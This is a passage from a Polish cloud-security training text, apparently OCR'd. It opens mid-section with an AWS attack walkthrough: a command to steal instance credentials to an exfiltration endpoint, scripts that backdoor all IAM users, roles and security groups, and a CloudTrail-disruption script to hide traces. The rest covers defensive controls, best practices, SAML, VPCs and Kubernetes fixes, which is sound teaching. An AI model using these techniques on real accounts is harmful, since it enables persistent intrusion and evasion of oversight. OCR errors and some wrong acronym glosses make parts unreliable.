dzieki czemu mozna uruchamiaé¢ dowolne kody lub krasé tymczasowe dane logowania do profilu
instancji.

./bouncy_bouncy cloudy_cloud.py -i identyfikator-instancji -e
punkt koncowy eksfiltracji

Utrzymanie dostepu

Uruchom nastepujgce skrypty, aby zachowa¢ dostep do konta.

o rabbit_lambda -> Przyktadowa funkcja Lambda, ktéra odpowiada na zdarzenia usuniecia
uzytkownika, tworzgc wiecej kopii usunietego uzytkownika.

o cli_lambda -> Funkcja Lambda, ktdra dziata jako proxy cli AWS i nie wymaga poswiadczen.

o backdoor_created_users_lambda -> Funkcja Lambda, ktéra dodaje klucz dostepu do kazdego nowo
utworzonego uzytkownika.

o backdoor_created_roles_lambda -> Funkcja Lambda, ktéra dodaje relacje zaufania do kazdej nowo
utworzonej roli.



o backdoor_created_security_groups_lambda -9 Funkcja Lambda, ktéra dodaje dang regute dostepu
przychodzgcego do kazdej nowo utworzonej grupy zabezpieczen.

o backdoor_all_users.py -> Dodaje klucz dostepu do kazdego uzytkownika na koncie.
o backdoor_all_roles.py -> Dodaje relacje zaufania do kazdej roli na koncie.

o backdoor_aii_security_groups.py Dodaje dang regute dostepu przychodzacego do kazdej grupy
zabezpieczen na koncie.

Usuwanie sladéw:

Uruchom ponizszy skrypt, aby ukry¢ slady ataku.

o Disrupt_cloudtrail.py -> Préby przerwania/uszkodzenia rejestrowania Cloudtrail w okreslony sposdb.
.Jdisrupt cloudtrail.py —s

Bezpieczenstwo w chmurze

Istnieje wiele rodzajow ryzyka i zagrozen zwigzanych z wdrazaniem ustug w chmurze i migracjg danych
0 znaczeniu krytycznym do systemoéw innych firm. Jednak przestrzeganie wytycznych dotyczgcych
bezpieczenstwa i Srodkéw zaradczych wzmacnia uzasadnienie biznesowe dla przyjecia chmury. Ta
sekcja dotyczy réznych standardéw chmurowych, srodkéw zaradczych i najlepszych praktyk w zakresie
zabezpieczania danych hostowanych w srodowisku chmurowym.

Warstwy kontroli bezpieczeistwa w chmurze
Kolejne warstwy przedstawiajg odwzorowanie modelu chmury na model kontroli bezpieczenstwa.
Warstwa aplikacji

Aby wzmocni¢ warstwe aplikacji, ustal zasady zgodne z przyjetymi w branzy standardami
bezpieczenstwa; np. OWASP dla aplikacji internetowej. Powinien spetniac i by¢ zgodny z odpowiednimi
wymogami regulacyjnymi i biznesowymi. Kontrole warstwy aplikacji obejmujg cykl Zzycia
oprogramowania, analize binarng, skanery, zapory aplikacji internetowych, sekcje transakcyjne itp.

Warstwa informacyjna

Opracuj i udokumentuj program zarzadzania bezpieczedstwem informacji, ktéry obejmuje
administracyjne, techniczne i fizyczne zabezpieczenia chronigce informacje przed nieautoryzowanym
dostepem, modyfikacjg lub usunieciem. Niektére zabezpieczenia warstwy informacyjnej obejmujg
zapobieganie utracie danych (DLP), monitorowanie i filtrowanie zawartosci, monitorowanie
aktywnosci bazy danych, szyfrowanie itp.

Warstwa zarzadzania

Ta warstwa obejmuje zadania administracyjne zwigzane z bezpieczenistwem chmury, ktére mogg
ufatwic ciagte, nieprzerwane i efektywne ustugi chmury. Konsumenci korzystajacy z chmury powinni
zapoznac sie z wyzej wymienionymi zasadami, aby skorzystac¢ z lepszych ustug. Niektére z kontroli
bezpieczeristwa warstwy zarzadzania obejmujg zarzadzanie ryzykiem zgodnosci (GRC), 1AM, VA/VM,
zarzadzanie poprawkami, zarzadzanie konfiguracjg, monitorowanie itp.

Warstwa sieci



Zajmuje sie roznymi Srodkami i zasadami przyjetymi przez administratora sieci w celu monitorowania
i zapobiegania nielegalnemu dostepowi, niewtasciwemu uzyciu, modyfikacji lub odmowie dostepu do
zasobow sieciowych. Dodatkowe zabezpieczenia warstwy sieciowej obejmujg  ustugi
zapobiegania/wykrywania wtaman do sieci, zapory ogniowe, gteboka kontrole pakietéw, ochrone
przed atakami DDoS, jakos¢ ustug (QoS), DNSSEC i OAuth.

Zaufane przetwarzanie

Trust computing definiuje bezpieczne srodowisko obliczeniowe, ktdre wdraza kontrole wewnetrzng,
mozliwos$¢ audytu i konserwacje w celu zapewnienia dostepnosci i integralnosci operacji w chmurze.
Sprzet i oprogramowanie RoT i APl to kilka srodkow kontroli bezpieczenstwa dla zaufanego
przetwarzania.

Obliczenia i przechowywanie

W chmurze, ze wzgledu na brak fizycznej kontroli nad danymi i maszyng, ustugodawca moze nie by¢ w
stanie zarzadza¢ danymi i obliczeniami oraz straci¢ zaufanie konsumentéw chmury. Dostawcy CSP
muszg ustanowic¢ zasady i procedury dotyczace przechowywania i przechowywania danych oraz
wdrozy¢ odpowiednie mechanizmy tworzenia kopii zapasowych, aby zapewnic¢ dostepnosc i ciggtosé
ustug, ktdre spetniajg wymogi ustawowe, regulacyjne, umowne lub biznesowe oraz zgodnos$c¢. Oparte
na hoscie zapory ogniowe, oparte na hoscie systemy wykrywania/zapobiegania wfamaniom,
integralnos¢ i zarzadzanie plikami/logami, szyfrowanie i maskowanie to niektére srodki kontroli
bezpieczenstwa w obliczeniach i pamieci masowe;j.

Warstwa fizyczna

Ta warstwa obejmuje srodki bezpieczenstwa dla infrastruktury chmury, centréw danych i zasobdéw
fizycznych. Jednostki bezpieczenstwa, ktére mieszczg sie w tym obwaodzie, to fizyczne zabezpieczenia
zaktadu, ogrodzenia, $ciany, bariery, straznicy, bramy, nadzér elektroniczny, CCTV, fizyczne
mechanizmy uwierzytelniania, patrole bezpieczenstwa itp.

Bezpieczenstwo w chmurze jest obowigzkiem zaré6wno dostawcy chmury, jak i konsumenta

Bezpieczenstwo to wspodlna odpowiedzialno$é w systemach chmurowych, w ktérych zaréwno
konsumenci chmury, jak i dostawcy CSP majg rézne poziomy kontroli nad dostepnymi zasobami
obliczeniowymi. W pordwnaniu z tradycyjnymi systemami informatycznymi, w ktérych pojedyncza
organizacja ma wtadze nad catym stosem zasobdéw obliczeniowych i catym cyklem zycia systemow,
dostawcy CSP i konsumenci wspodtpracujg ze sobg, aby projektowaé, budowa¢, wdrazac i obstugiwac
systemy oparte na chmurze. Dlatego obie strony dzielg sie odpowiedzialno$cig za utrzymanie
odpowiedniego bezpieczenstwa tych systemow. Rozne modele ustug w chmurze (laaS, PaaS i SaaS)
implikujg rézne poziomy kontroli miedzy dostawcami CSP a konsumentami chmury.

Przykfad:

Dostawca platformy laaS zwykle przeprowadza kontrole zarzadzania kontami dla poczatkowych
uprzywilejowanych uzytkownikéw systemu, podczas gdy konsument chmury kontroluje zarzgdzanie
kontami uzytkownikéw dla aplikacji wdrozonych w laaS.

Ponizej przedstawiono niektére kontrole bezpieczenstwa w chmurze:
PKI: Infrastruktura klucza publicznego

SDL: Cykl zycia rozwoju zabezpieczen



WAF: Zapora sieciowa aplikacji

FW: Zapora sieciowa

RTG: Prawdziwy przechwytywacz ruchu
IAM: Tozsamos¢ i dostep

kierownictwo

ENC: szyfrowanie

DLP: Zapobieganie utracie danych

IPS: System zapobiegania wtamaniom
SWG: Bezpieczna brama sieciowa
VA/VM: aplikacja wirtualna/wirtualna
maszyna

Sec aplikacji: bezpieczenstwo aplikacji
AV: Antywirus

VPN: wirtualna sieé prywatna

LB: System réwnowazenia obcigzenia
GRC: Zarzadzanie, ryzyko i zgodnosé
Kontrola konfiguracji: Kontrola konfiguracji
CoS/QoS: klasa ustugi/jakosé pracy
DDoS: rozproszona odmowa ustugi
TPM: modut zaufanej platformy

Netflow: protokét sieciowy firmy Cisco

Zagadnienia bezpieczenstwa przetwarzania w chmurze

Ustugi przetwarzania w chmurze powinny by¢ dostosowane przez dostawce do okreslonych wymagan

bezpieczenstwa klientéw.

CSP powinni zapewnia¢ wysokg multi-tenancy, ktéra umozliwia optymalne wykorzystanie zasobéw
chmury oraz zabezpieczanie danych i aplikacji.

Ustugi chmurowe powinny wdrozy¢ plan odzyskiwania danych po awarii, ktéry umozliwia odzyskanie

informacji w nieoczekiwanych sytuacjach.

Ciggte monitorowanie QoS jest wymagane w celu utrzymania uméw o poziomie ustug miedzy

konsumentami a dostawcami ustug.

Dane przechowywane w ustugach w chmurze powinny by¢ bezpiecznie wdrazane, aby zapewnic

integralnos$¢ danych.



Ustuga przetwarzania w chmurze powinna by¢ szybka, niezawodna i zdolna do szybkiego reagowania
na nowe zapytania.

Aby zapewnié optymalne bezpieczenstwo danych w chmurze obliczeniowej, nalezy zaimplementowac
symetryczne i asymetryczne algorytmy kryptograficzne.

Proces operacyjny ustug opartych na chmurze powinien by¢ zaprojektowany, obstugiwany i
bezpiecznie zintegrowany z organizacyjnym zarzadzaniem bezpieczefstwem.

Rédwnowazenie obcigzenia powinno by¢ wtgczone do ustug w chmurze, aby utatwic sieci i zasoby, aby
poprawic czas odpowiedzi zadania przy maksymalnej przepustowosci.

Dostawcy CSP powinni zapewnia¢ lepszg odpornosc i lepszg ochrone przed zagrozeniami fizycznymi.

Publiczne ustugi chmurowe powinny wykorzystywacé zaawansowane opcje sieciowe, takie jak sie¢ klasy
operatorskiej i dedykowana sie¢ VPN.

CSP musza zawierac¢ odpowiednie plany obstugi incydentéw i reagowania.

Dostawcy CSP powinni wykorzystywac ustugi wspierajagce egzekwowanie zabezpieczen opartych na
rolach, takie jak przypisywanie rél, autoryzacja rél i autoryzacja transakgji.

Ustugi w chmurze powinny wykorzystywacd globalng baze danych analizy zagrozen, ktdra sktada sie z
ogromnej bazy danych informacji o bezpieczenistwie.

Dostawcy chmury powinni uwzgledni¢ rozwigzanie CASB w celu zapewnienia bezpiecznej bramy
sieciowej z funkcjami DLP.

Stosuj zasady zerowego zaufania do segmentacji aplikacji biznesowych.
Umieszczenie kontroli bezpieczenstwa w chmurze

Najlepsza praktykg jest wybieranie srodkéw kontroli bezpieczenstwa informacji i wdrazanie ich
proporcjonalnie do ryzyka, ogdlnie poprzez ocene zagrozen, stabych punktéw i skutkéw. Aby
architektura bezpieczenstwa w chmurze byta skuteczna, nalezy zapewni¢ odpowiednig implementacje
zabezpieczen. Istnieje wiele mechanizmdéw bezpieczenstwa, ktére umieszczone w odpowiednim
miejscu mogg chroni¢ wszelkie luki w systemie i zmniejsza¢ skutki ataku. Kategorie kontroli
bezpieczenstwa:

Kontrole odstraszajgce — te kontrole ograniczajg ataki na system w chmurze. Przyktad: znak
ostrzegawczy na ogrodzeniu lub posesji, aby poinformowaé¢ potencjalnych napastnikdw o
negatywnych konsekwencjach, jesli przystgpia do ataku.

Kontrole prewencyjne — te kontrole wzmacniajg system przed incydentami, minimalizujgc lub
eliminujac luki w zabezpieczeniach.

Przyktad: Silny mechanizm uwierzytelniania zapobiegajgcy nieautoryzowanemu uzyciu systeméw w
chmurze.

Kontrole wykrywajgce — te kontrole wykrywajg i odpowiednio reagujg na wystepujace incydenty.
Przyktad: wykorzystanie IDS, IPS itp. pomaga wykrywa¢ ataki na systemy w chmurze.
Kontrole korygujgce — te kontrole minimalizujg skutki incydentu poprzez ograniczenie szkéd.

Najlepsze praktyki dotyczgce zabezpieczania chmury



Ponizej omowiono rézne najlepsze praktyki dotyczgce zabezpieczania srodowiska chmurowego:
Egzekwuj mechanizmy ochrony danych, tworzenia kopii zapasowych i przechowywania.
Egzekwuj umowy SLA dotyczace instalowania poprawek i usuwania luk w zabezpieczeniach.
Dostawcy powinni regularnie przechodzi¢ audyty AICPA SAS 70 typu Il

Zweryfikuj swojg chmure na czarnych listach domeny publicznej.

Egzekwuj umowy prawne w polityce zachowania pracownikow.

Zabroni¢ udostepniania poswiadczen uzytkownika miedzy uzytkownikami, aplikacjami i ustugami.
Zaimplementuj bezpieczne uwierzytelnianie, autoryzacje i kontrole audytu.

Sprawdz ochrone danych zaréwno podczas projektowania, jak i w czasie wykonywania.

wdrozy¢ silne praktyki generowania, przechowywania i zarzgdzania kluczami oraz ich niszczenia.
Monitoruj ruch klienta pod katem ztosliwych dziatan.

Zapobiegaj nieautoryzowanemu dostepowi do serwera za pomocg punktdw kontrolnych
bezpieczenstwa.

Ujawniaj klientom odpowiednie dzienniki i dane.

Analizuj zasady bezpieczeristwa i umowy SLA dostawcow ustug w chmurze.

Oceniaj bezpieczenstwo interfejséw APl w chmurze i rejestruj ruch sieciowy klienta.
Upewnij sie, ze chmura przechodzi regularne kontrole bezpieczenstwa i aktualizacje.
Upewnij sie, ze bezpieczenstwo fizyczne to sprawa 24 x 7 x 365.

Egzekwuj standardy bezpieczenstwa podczas instalacji/konfiguraciji.

Upewnij sie, ze pamie¢, pamie¢ masowa i dostep do sieci sg odizolowane.

W miare mozliwosci korzystaj z silnych technik uwierzytelniania dwusktadnikowego.
Zastosuj podstawowy proces powiadamiania o naruszeniu bezpieczenstwa.

Analizuj moduty oprogramowania taricucha zaleznosci API.

Egzekwuj rygorystyczny proces rejestracji i walidacji.

Wykonaj ocene podatnosci i ryzyka konfiguracji.

Ujawniaj klientom informacje o infrastrukturze, poprawkach zabezpieczen i szczegétach zapory
sieciowej.

Wymuszaj rygorystyczne przestrzeganie zasad bezpieczenstwa w chmurze, zarzadzanie konfiguracjg
oprogramowania (SCM) i przejrzystosc praktyk zarzgdzania.

Korzystaj z urzadzen zabezpieczajgcych, takich jak IDS, IPS i zapora ogniowa, aby chronic i blokowac
nieautoryzowany dostep do danych przechowywanych w chmurze.

Egzekwuj sciste zarzadzanie taricuchem dostaw i przeprowadzaj kompleksowg ocene dostawcéw.



Egzekwuj rygorystyczne zasady i procedury bezpieczenstwa, takie jak zasady kontroli dostepu, zasady
zarzadzania bezpieczenstwem informacji i zasady dotyczace umoéw.

Zapewnij bezpieczenstwo infrastruktury poprzez odpowiednie zarzadzanie i monitorowanie,
dostepnosé, bezpieczng separacje maszyn wirtualnych i gwarancje ustug.

Korzystaj z sieci VPN, aby zabezpieczy¢ dane klientow i upewnic sie, ze zostaty one catkowicie usuniete
z serweréw gtéwnych wraz z ich replikami, gdy zazgdane zostanie usuniecie danych.

Upewnij sie, ze do transmisji wrazliwych i poufnych danych uzywany jest protokdt SSL.
Przeanalizuj model bezpieczenstwa interfejsow dostawcéw chmury.

Zapoznaj sie z warunkami umowy SLA, takimi jak minimalny poziom dyspozycyjnosci i kary w przypadku
niedotrzymania uzgodnionego poziomu.

Egzekwowac¢ podstawowe praktyki bezpieczeistwa informacji; np. polityka silnego hasta,
bezpieczenstwo fizyczne, bezpieczenstwo urzadzenia, szyfrowanie, bezpieczenstwo danych,
bezpieczenstwo sieci.

Zapewnij spéjnosé konfiguracji zasobdéw i egzekwuj praktyki dotyczgce dotgczania i odzyskiwania.
Ocen poziom tolerancji ryzyka organizacji dla budowania najmniej inwazyjnych polityk.

Ujawniaj klientom informacje o infrastrukturze, poprawkach bezpieczenstwa i szczegdétach zapory
sieciowej.

Zastosuj spojng platforme do zarzadzania tozsamosciami w ustugach w chmurze.

Wdrazaj automatyzacje i technologie Al/ML, aby szybko identyfikowaé, analizowac i eliminowac
zagrozenia.

Wykorzystaj technologie, takie jak analityka behawioralna uzytkownikéw, do monitorowania anomalii
i ograniczania utraty danych zaréwno wewnetrznych, jak i zewnetrznych.

Wdrazaj biatg liste aplikacji i zapobiegaj wykorzystywaniu pamieci w przypadku obcigzen o jednym
celu.

Wdrazaj zaawansowane rozwigzania bezpieczenstwa punktow korncowych i technologie ochrony przed
ztodliwym oprogramowaniem podczas korzystania z laa$S lub PaasS.

PrzeprowadZ testy penetracyjne, aby sprawdzi¢, czy istniejgce zabezpieczenia w chmurze s3
wystarczajgce do ochrony danych i aplikacji.

Wymuszaj stosowanie brokera zabezpieczen dostepu do chmury (CASB), aby zapewnié stosowanie w
chmurze optymalnych srodkéw kontroli bezpieczenstwa.

Skonfiguruj zasady usuwania danych w chmurze, aby bezpiecznie usuwac poufne dane z chmury z
zachowaniem zgodnosci.

Zalecenia NIST dotyczace bezpieczeistwa w chmurze
Ocen ryzyko zwigzane z danymi, oprogramowaniem i infrastrukturg klienta.
Wybierz odpowiedni model wdrazania zgodnie z potrzebami.

Upewnij sie, ze istniejg procedury audytu dotyczgce ochrony danych i izolacji oprogramowania.



Odnawiaj umowy SLA w przypadku luk w zabezpieczeniach miedzy wymaganiami bezpieczenstwa
organizacji a standardami dostawcy chmury.

Ustanowienie odpowiednich mechanizméw wykrywania i zgtaszania incydentéw.
Przeanalizuj cele bezpieczeristwa organizacji.

Zapytaj, kto jest odpowiedzialny za kwestie prywatnosci i bezpieczeristwa danych w chmurze.
Jezyk znacznikéw asercji zabezpieczen (SAML)

SAML to popularny protokot o otwartym standardzie uzywany do uwierzytelniania i autoryzacji miedzy
dwoma komunikujgcymi sie podmiotami. Zapewnia funkcje pojedynczego logowania (SSO)
umozliwiajacg uzytkownikom interakcje z wieloma aplikacjami lub ustugami za pomocy jednego
zestawu wspodlnych poswiadczen. SAML moze by¢ oferowany jako oprogramowanie jako ustuga, ktoére
mozna zainstalowaé u dostawcy ustug (SP) i dostawcy tozsamosci (IdP), aby uprosci¢ federacyjne
mechanizmy autoryzacji i uwierzytelniania dla uzytkownikéw. Protokét SAML sktada sie z
nastepujgcych trzech podmiotdw.

Klient lub uzytkownik: Jest to podmiot posiadajgcy wazne konto, ktéry zada ustugi lub zasobu za
posrednictwem przegladarki internetowej.

Dostawca ustug (SP): Jest to serwer obstugujacy aplikacje lub ustugi dla uzytkownikow.

Dostawca tozsamosci (IdP): Jest to podmiot w systemie, ktéry przechowuje katalogi uzytkownikow i
mechanizmy sprawdzania poprawnosci.

Gdy oprogramowanie federacyjne SAML jest instalowane lub konfigurowane, buduje ono relacje
zaufania miedzy dostawcg ustug a dostawcg tozsamosci, umozliwiajgc bezpieczng komunikacje. Gdy
uzytkownik chce uzyska¢ dostep do dowolnej ustugi lub zasobu, musi zosta¢ uwierzytelniony przez
dostawce tozsamosci. Wkrétce po zainicjowaniu zgdania ustugi przez uzytkownika dostawca ustugi
wysyta Zzadanie SAML do dostawcy tozsamosci w celu zweryfikowania uzytkownika. Nastepnie
dostawca tozsamosci tworzy oparte na XML potwierdzenie uwierzytelnienia SAML, ktére opisuje, jaki
typ préby logowania zostat zainicjowany (hasto, dwusktadnikowy itp.); potwierdzenie atrybutu SAML,
ktére zawiera szczegdtowe informacje o uzytkowniku; oraz potwierdzenie autoryzacji, ktére opisuje,
czy uzytkownikowi mozna zezwoli¢ na dostep do ustugi, czy go odmowic. Asercje oparte na XML sg
nastepnie przekazywane do SP. Po pomysinym zakoriczeniu procesu uwierzytelniania uzytkownik moze
uzyskaé dostep do chronionych zasobdw lub ustug.

Bezpieczenstwo sieci w chmurze

Sie¢ w chmurze to wirtualna infrastruktura IT zarzgdzana przez dostawcéw ustug w chmurze (CSP), w
ktorej zasoby sieciowe sg dostarczane na zgdanie w postaci chmur prywatnych i publicznych. Tworzac
Srodowisko wirtualne w chmurze za posrednictwem istniejgcej sieci fizycznej, dostawcy CSP mogg
wykonywac operacje sieciowe w chmurze publicznej przy uzyciu indywidualnych kont klientéw.

Bezpieczenstwo sieci w chmurze mozna osiggna¢ na nastepujgce sposoby.

e Wirtualna chmura prywatna (VPC): VPC to bezpieczne i niezalezne srodowisko chmury prywatnej
rezydujagce w chmurze publicznej. Klienci VPC mogg uruchamiac¢ programy, hostowac¢ aplikacje,
zapisywac dane i wykonywac¢ dowolne czynnosci w sieci prywatnej przy uzyciu swoich indywidualnych
kont, ale chmura prywatna jest hostowana przez dostawce chmury publicznej. VPC jest generalnie
niezalezny od innych VPC dziatajgcych na tym samym koncie; w zwigzku z tym jeden klient VPC nie
moze przeglgdac ruchu kierowanego do VPC innego klienta. Klient moze rowniez utworzy¢ blok IPv6 i



doda¢ wiele podsieci w ramach tego bloku. VPC moze tgczy¢ skalowalnos$é i inne optymalne cechy
chmury publicznej z segregacjg danych chmury prywatnej. Zasoby VPC sg dostepne na zgdanie i moga
byc¢ rozszerzane i konfigurowane w zaleznosci od wymagan.

e Podsieci publiczne i prywatne: Podsieci w VPC moga by¢ publiczne lub prywatne. Maszyny wirtualne
znajdujace sie w podsieci publicznej mogg przesyta¢ pakiety danych bezposrednio przez Internet,
podczas gdy maszyny wirtualne w podsieci prywatnej nie. Podsie¢ publiczna sktada sie ze sciezki
zewnetrznej, ktéra przesyta wiadomosci przez brame internetowg (IGW), ktéra zezwala na ruch IPv4 i
IPv6 z VPC bez zadnych ograniczen dotyczacych przepustowosci. Maszyny wirtualne w publicznej
podsieci mogg réwniez odbieraé ruch przychodzacy przez IGW, o ile zezwalajg na to ich sieciowe listy
ACL i grupy zabezpieczen. Prywatna podsie¢ moze faczyé sie z zewnetrzng sieciag WWW za
posrednictwem publicznej bramy translacji adreséw sieciowych (NAT). Samo urzadzenie trasujgce
wykonuje NAT. Ponadto NAT nie zezwala bezposrednio na ruch przychodzacy z sieci, co powoduje, ze
podsie¢ jest prywatna. tgcznos¢ zewnetrzng dla podsieci prywatnej mozna réwniez utworzy¢ za
pomocy ustug VPN.

e Bramy tranzytowe: Brama tranzytowa to rozwigzanie do routingu sieciowego, ktdre ustanawia i
zarzadza komunikacjag miedzy lokalng siecia konsumenckg a VPC za posrednictwem jednostki
scentralizowanej. Takie podejscie upraszcza topologie sieci i eliminuje skomplikowane potgczenia
rownorzedne. Jednak ta komunikacja moze by¢ dozwolona lub zablokowana przez listy ACL specyficzne
dla chmury, w zaleznosci od numeréw portéw i adreséw IP hostéw. Dzieki scentralizowane] jednostce
administrator lub menedzer sieci moze mie¢ wyrazny obraz catej sieci, nawet jesli potgczenia urzadzen
s nawigzywane za posrednictwem definiowanej programowo sieci rozlegtej (SD-WAN).

e Punkt korncowy VPC: punkt koncowy VPC ustanawia prywatne potgczenie miedzy VPC a inng ustugg
w chmurze bez dostepu do Internetu, zewnetrznych bram, rozwigzan NAT, potgczen VPN lub adreséw
publicznych. Dlatego ruch miedzy punktami korncowymi nie opuszcza sieci organizacji. Punkty koricowe
to wirtualne urzadzenia komputerowe. Sg to redundantne, skalowalne i wysoce dostepne elementy
VPC, ktére umozliwiajg interakcje miedzy maszynami wirtualnymi w VPC i ustugach w chmurze bez
zadnych ograniczen przepustowosci lub awarii dostepnosci. Ponizej przedstawiono dwa typy punktéw
koricowych VPC.

e Punkt konncowy interfejsu: Jest to elastyczny interfejs sieciowy (ENI), ktdry ma prywatny adres IP w
granicach zdefiniowanej podsieci. Dziata jako poczatkowy punkt zZréodtowy ruchu do VPC lub
obstugiwanych ustug chmurowych.

¢ Punkt koncowy modutu réwnowazenia obcigzenia bramy: jest to rowniez ENI i dziata jako poczgtkowy
punkt zrédtowy w celu utrudnienia przeptywu ruchu i przekierowania go do ustugi skonfigurowane;j za
posrednictwem modutu réwnowazenia obcigzenia bramy, ktéry jest nastepnie uzywany do kontroli
bezpieczenstwa.

Kontrola bezpieczeistwa w chmurze

Kontrole bezpieczerstwa w chmurze chronig srodowisko chmurowe przed wszelkiego rodzaju lukami
w zabezpieczeniach i minimalizuja skutki cyberatakédw. Te kontrole moga obejmowaé praktyki,
procedury, wytyczne i zasady, ktére sg egzekwowane w celu zabezpieczenia infrastruktury chmury.
Ponizej omdwiono kilka przyktadéw kontroli bezpieczenstwa w chmurze.

Bezpieczenstwo aplikacji w chmurze

Bezpieczenstwo aplikacji w chmurze to zestaw regut, procesdw, zasad, kontroli i technik, ktére
administrujg catg wymiang danych miedzy wspoétpracujgcymi platformami w chmurze, takimi jak Box,



Google G Suite, Slack i Microsoft Office 365. Jesli pracownicy lub uzytkownicy przechowuja i wysytaja
dane na platformach chmurowych w perspektywie diugoterminowej obowigzkowe jest witgczenie
rozwigzania opartego na chmurze, znanego jako ,sie¢ bezpieczerdstwa”, do implementacji
zabezpieczen o zerowym zaufaniu. Zabezpieczenia aplikacji w chmurze sg stosowane tylko do warstw
aplikacji SaaS, laaS i PaaS. Implementacja zabezpieczen aplikacji w chmurze zapobiega naduzyciom,
takim jak cross-site scripting (XSS), cross-site request forgery (CSRF), przejmowanie sesji, iniekcja SQL
i stabe uwierzytelnianie.

Wysoka dostepnos¢ w réznych strefach

Srodowisko chmurowe dla aplikacji ma wysoka dostepnoéé, jesli ustugi aplikacji s3 kontynuowane
podczas zamierzonych lub niezamierzonych przestojow sieci. Wysokg dostepno$¢ mozna osiggnaé,
dzielgc serwery na strefy i zachowujgc w nich spdjnosé sieci. Umozliwia sSrodowisku obstuge awarii w
poszczegdlnych strefach dostepnosci lub sieci bez utraty danych. Zapewnia réwniez scentralizowane
zarzadzanie w celu monitorowania operacji sieciowych i wykorzystania zasobdw. Ponizszy rysunek
przedstawia uproszczony widok srodowiska chmury z wysoka dostepnoscia w réznych strefach.
Srodowisko chmurowe o wysokiej dostepnosci sktada sie z dwdch weztéw: wezta gtéwnego i wezta
pomocniczego. Pierwszy serwer dziata w pierwszej strefie dostepnosci, a drugi serwer dziata w
dodatkowej strefie dostepnosci. To Srodowisko jest chronione przed réznymi przerwami w dziataniu
ustug, takimi jak awaria dysku, awaria woluminu, awaria sieci i awaria strefy. Tutaj kazdy wezet jest
niezalezny i ma oddzielne strefy. Jesli jakikolwiek wezet ulegnie awarii, kopia jego danych jest zapewnié
istnienie w innym wezle, ktéry zapewnia dostep do wszystkich informacji. Ponadto wezet moze zostaé
wyfaczony w celu aktualizacji, podczas gdy drugi wezet aktywnie swiadczy ustugi.

Integracja i audyt w chmurze

Integracja z chmurg to proces grupowania wielu srodowisk chmurowych w formie chmury publicznej
lub hybrydowej, ktéra umozliwia administratorom staty dostep do systemdw, ustug, danych i aplikacji
oraz ich obstuge. taczy réwniez srodowisko chmurowe ze $srodowiskiem lokalnym. Bez integracji z
chmurg administratorzy muszg wykonywaé kazde zadanie integracji niezaleznie i recznie, co jest
procesem czasochtonnym i podatnym na btedy. Podczas gdy wskazniki ryzyka dla sieci lokalnych sg
zazwyczaj wykrywane w dziennikach sieci lub aplikacji, wskazniki ryzyka oparte na chmurze s3
uzyskiwane z dziennikow interfejsu API. Dlatego wszystkie ustugi powinny byé zintegrowane zgodnie
ze zdefiniowana politykg bezpieczenstwa lub wytycznych i poddawane dalszemu audytowi w celu
osiggniecia zgodnosci z bezpieczernistwem. Mechanizmy integracji z chmurg zapewniajg kompleksowy
wglad we wszystkie dane organizacji, poprawiajg tgcznos¢ i pomagajg w gromadzeniu wszystkich
wskaznikéw ryzyka do oceny. Audyt chmury to proces analizy ustug oferowanych przez dostawcéw
chmury i weryfikacji zgodnosci z wymaganiami dotyczacymi prywatnosci, bezpieczenstwa i wydajnosci
dla $rodowiska chmurowego. Audyty bezpieczenstwa chmury muszg dotyczy¢ probleméw zwigzanych
zaréwno z infrastrukturg konwencjonalng, jak i chmurowga. Wtasciwy audyt moze zapewnic¢ dostepnos¢
ustug dla klientéw w kazdych warunkach w sposéb zorganizowany i kompleksowy sposob. Oferuje
rowniez zautomatyzowane gromadzenie danych dotyczacych bezpieczenstwa i operacji w celu
systematycznej oceny i poréwnania. Jest to optacalne podejscie, ktére oszczedza czas zaréwno duzych,
jak i matych przedsiebiorstw, poniewaz raz dostarczone informacje mogg by¢ dynamicznie
aktualizowane po wprowadzeniu modyfikacji.

Grupy bezpieczenstwa

Grupa zabezpieczen to podstawowy Srodek bezpieczeristwa zaimplementowany w infrastrukturze
chmury w celu zapewnienia bezpieczenstwa instancjom wirtualnym. Stuzy jako rozwigzanie
bezpieczenstwa dla maszyn wirtualnych. Grupa zabezpieczend znajduje sie miedzy Internetem a



instancjami wirtualnymi i kontroluje ruch przychodzacy i wychodzacy. Odpowiednio skonfigurowana
grupa zabezpieczen zapobiega atakom typu ,odmowa ustugi” (DoS) oraz nieautoryzowanemu
dostepowi do zasobow IT.

Swiadomo$¢ instancji

Oparty na chmurze model taficucha zabijania opisuje mozliwosci wykorzystania fatszywych instancji
chmurowych do dowodzenia i kontroli w celu eksfiltracji danych ze srodowiska chmurowego. Wiele
rozwigzan zabezpieczajgcych, takich jak zapory ogniowe, bramy i inne narzedzia zabezpieczajgce w
chmurze, nie jest w stanie walczy¢ z tymi zagrozeniami, poniewaz nie sg w stanie przesledzié réznic
miedzy instancjami aplikacji chmurowych. Atakujgcy czesto wykorzystujg te niezdolnos¢ do ataku na
sieci w chmurze. Dlatego konieczne jest uzycie narzedzi, ktére sg Swiadome lub potrafig odrdznic¢
instancje w chmurze, takie jak Google Drive i OneDrive, w celu ochrony przed zagrozeniami opartymi
na chmurze, takimi jak eksfiltracja danych i phishing SaaS.

Luki w zabezpieczeniach Kubernetes i rozwigzania

Rosngca popularnosc i akceptacja technologii Kubernetes w réznych organizacjach, w tym u czotowych
dostawcow chmury publicznej, ostatecznie zwiekszyta krytyczne luki w zabezpieczeniach. Wykrywanie
luk w zabezpieczeniach i wdrazanie udoskonalonych rozwigzan bezpieczenstwa stato sie obowigzkiem
specjalistow ds. bezpieczernstwa. W tabeli oméwiono niektdre luki Kubernetes i rozwigzania zwigzane
z kazdg luka.

Luki : Rozwigzania

1. Brak uniewaznienia certyfikatu : Upewnij sie, ze wezly przechowujg liste uniewaznionych
certyfikatéw (CRL) i sprawdzaj za kazdym razem, gdy przedstawiany jest im certyfikat. ;Nalegaj, aby
administratorzy uzywali zszywania protokotu OCSP (Online Certificate Status Protocol) do
uniewazniania certyfikatow w klastrze za posrednictwem serwera OCSP.

2. Nieuwierzytelnione potgczenia HTTPS : Domyslnie uwierzytelniaj wszystkie potgczenia HTTPS w
systemie.; Upewnij sie, ze wszystkie komponenty korzystajg z urzedu certyfikacji obstugiwanego przez
narzedzie kubeapiserver.;Zaimplementuj dwukierunkowy TLS dla wszystkich potgczen.

3. Odstoniete tokeny okaziciela w dziennikach : Usun token okaziciela z dziennikdw systemowych i
unikaj logowania wszelkie dane uwierzytelniajgce. ; Przeprowadzaj przeglady kodu, aby upewnic¢ sie,
ze poufne dane nie sg rejestrowane. ; Zaimplementuj filtry rejestrowania, aby usungé poufne dane
przed ich zapisaniem.

